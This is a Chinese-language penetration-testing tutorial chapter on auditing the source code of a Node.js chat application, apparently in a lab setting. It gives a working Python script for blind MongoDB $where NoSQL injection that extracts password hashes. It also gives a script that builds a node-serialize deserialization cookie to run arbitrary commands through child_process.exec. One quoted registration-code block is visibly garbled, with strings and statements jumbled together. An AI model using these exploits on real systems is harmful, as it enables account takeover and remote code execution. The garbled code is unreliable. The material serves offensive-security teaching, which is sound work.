代码审计自定义应用
代码审计自定义应用
在上一篇,我们从黑盒角度讨论了如何利用常见Web漏洞突破边界。白盒测试要比黑盒测试高效的多,有的漏洞甚至可能永远无法被发现除非人们看到源代码。企业独自开发的 web 应用 (公司产品、主站点等) 通常不是开源的, 一般情况下我们是无法访问到源代码的,那怎么才能审计代码?实际上,在一些情况下,我们是有机会得到源代码进行代码审计的,例如:
1:源代码文件source.tar.gz被放在web目录下。这是由于开发者不小心所导致的,但这种情况并非不可能遇到。源代码也可能存在于 FTP、SMB 服务器上,并且这些服务并且不需要认证的话...幸运的是,我们之前在 FTP 服务器中发现了 chat.js 应用的源代码。
2:目标对一开源app进行了一定的修改,为自己所用。虽然魔改程度有高有低,但原 app 存在的漏洞不一定被修复了。举个例子,在线学习系统 ATutor (https://atutor.github.io/),作为开源应用,在互联网上广泛运行。更糟糕的是,该应用的漏洞不是一般的多。
3:目标公司发生过源代码泄漏事件。
4:在信息搜集阶段,我们从泄漏库中找到了一些凭证,其中一个或多个凭证可以访问目标公司的 github 私人仓库,访问到源代码。我们之前在 FTP 服务器中找到了一组凭证,虽然并没有在仓库中发现其他应用的源码。
代码审计,通常通过手动追踪用户输入、敏感函数来进行。但也有一些自动代码审计的工具例如 Fotify (https://www.microfocus.com/en-us/cyberres/application-security) 协助我们寻找浅层的脆弱代码。
我们发现 Raven-Medicine.Org 域的 3000 端口运行着一款 NodeJS 的应用,Chat.JS。是不是有些熟悉?因为我们之前在 FTP 服务器中找到了疑似 Chat.js 的源代码。
在有的时候,泄漏得到的源代码不一定是正在被应用的版本,但无论如何,让我们试着分析该应用。代码审计,虽然字面上是审计代码,但并不意味着只盯着代码就行,我们也需要与 Web 应用进行交互、浏览、测试,Debugger 也会很有作用。
该应用支持游客注册,因此我们可以注册个帐号,之后登陆,我们可以在频道里发送消息。
有关注册部分的代码如下,我们发现后端数据库是 MongoDB。
app.post('/register', function(req, res) {
console.log('[*] ' + req.ip + ' > POST /register');
if (req.session.logged_in == true) {
res.redirect('/');
} else {
var username = req.body.username;
var password = req.body.password;
if (username && password) {
MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
if (err) {
throw err;
}
var usercount=0
var dbo = db.db("chatjs");
var query = {$where: `this.username == '${username}'`};
dbo.collection("users").findOne(query, function(err, result) {
if (err) {
throw err;
}
if (result == null) {
const collection=dbo.collection("users");
collection.countDocuments((err, count) =>res.render('pages/register', {session: usercount=count;req.session, varerror:"Sorry, sha256_passwordthe =registration crypto.createHash('sha256').update(password).digest('hex');is dbo.collection("users").insertOne({not _id:usercount+1,open username:username,
password:sha256_password
},function(err, result) {
if (err) {
throw err;
}
res.redirect('/')
db.close();
});
now"});
} else {
res.render('pages/register', {session: req.session, error:"User already exists"});
}
});
});
}
}
});
我们看到,如果注册的时候,提交了一个已经存在的账户,会显示 “User already exists”。我们看这 2 行代码:
var query = {$where: `this.username == '${username}'`};
dbo.collection("users").findOne(query, function(err, result) {
............
查询根据用户提供的输入中的 this.username 字段来与数据库中的数据做比较,而 this.username 并没有执行任何用户输入的过滤。因此,如果我们构造一个特定的用户名,那么可以实现 NoSQL 注入。
在 SQL 注入中,经典的万能钥匙载荷是 username='admin' or 1=1。类比到该应用的语境下,我们可以构造这么一个PoC:
username 为 alice' && '1'=='1
password 任意
因为用户 alice 是存在的,只要后面的判断逻辑也是 True,那么最终结果也是 True。我们可以根据 "User already exists" 来判断最终语句的 True/False 值,从而间接地提取数据,比如可以是 alice' && this.password.substring(0,1).charCodeAt(0)>'75。我们通过逐一缩小 password 字段每个字符的区间从而得到最终准确的值,虽然密码是被 sha256 哈希过的。sha256 哈希后的结果只包含 a-f 这6字母以及 10 数字,对应的 ASCII 范围为 48-57,以及 97-102,大大缩小了我们需要比对的字符空间,即不需要考虑所有大写字母、剩余 20 个小写字母,以及任何特殊字符。
我们可以写出如下脚本:
import requests
import sys
charset=['48','49','50','51','52','53','54','55','56','57','97','98','99','100','101','102']
if len(sys.argv)!=3:
print("Usage: python3 chatjs.py http://raven-medicine.org:3000 alice")
ip=sys.argv[1]
username=sys.argv[2]
passhash=""
for index in range(64):
for char in charset:
payload={'username':username+"'&&this.password.substring("+str(index)+","+str(index+1)+").charCodeAt(0)=='"+str(char),'password':'123'}
#print(payload)
r=requests.post(ip+"/register",data=payload,allow_redirects=False)
if "User already exists" in r.text:
print("Trus statement! The value of this position is: "+str(chr(int(char))))
passhash=passhash+str(chr(int(char)))
pass
print(passhash)
得到的哈希值是 b54f08623ae4039f55bcecba4961037fb4513d2ba9cb2b0667c5db970ac94911,明文为 elizabeth。
import requests
import sys
import base64
if len(sys.argv)!=5:
print("Usage: python3 chatjs.py http://raven-medicine.org:3000 whoami")
ip=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
command=sys.argv[4]
payload = b'{"msg":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'%s\', function(error, stdout, stderr) { console.log(stdout) });}()"}'%(command.encode('utf-8'))
draft = base64.b64encode(payload).decode('utf-8')
c = {'draft':draft}
print("(+) Generated cookie!")
s=requests.Session()
headers={'Content-type':'application/x-www-form-urlencoded'}
data="username="+username+"&password="+password
r=s.post(ip+'/auth',headers=headers,data=data,allow_redirects=False)
r=s.get(ip+'/',cookies=c)
if "Logged in as" in r.text:
print("Authenticated!")
我们看到,命令是成功被执行了,虽然在我们这一侧无法直接获得输出。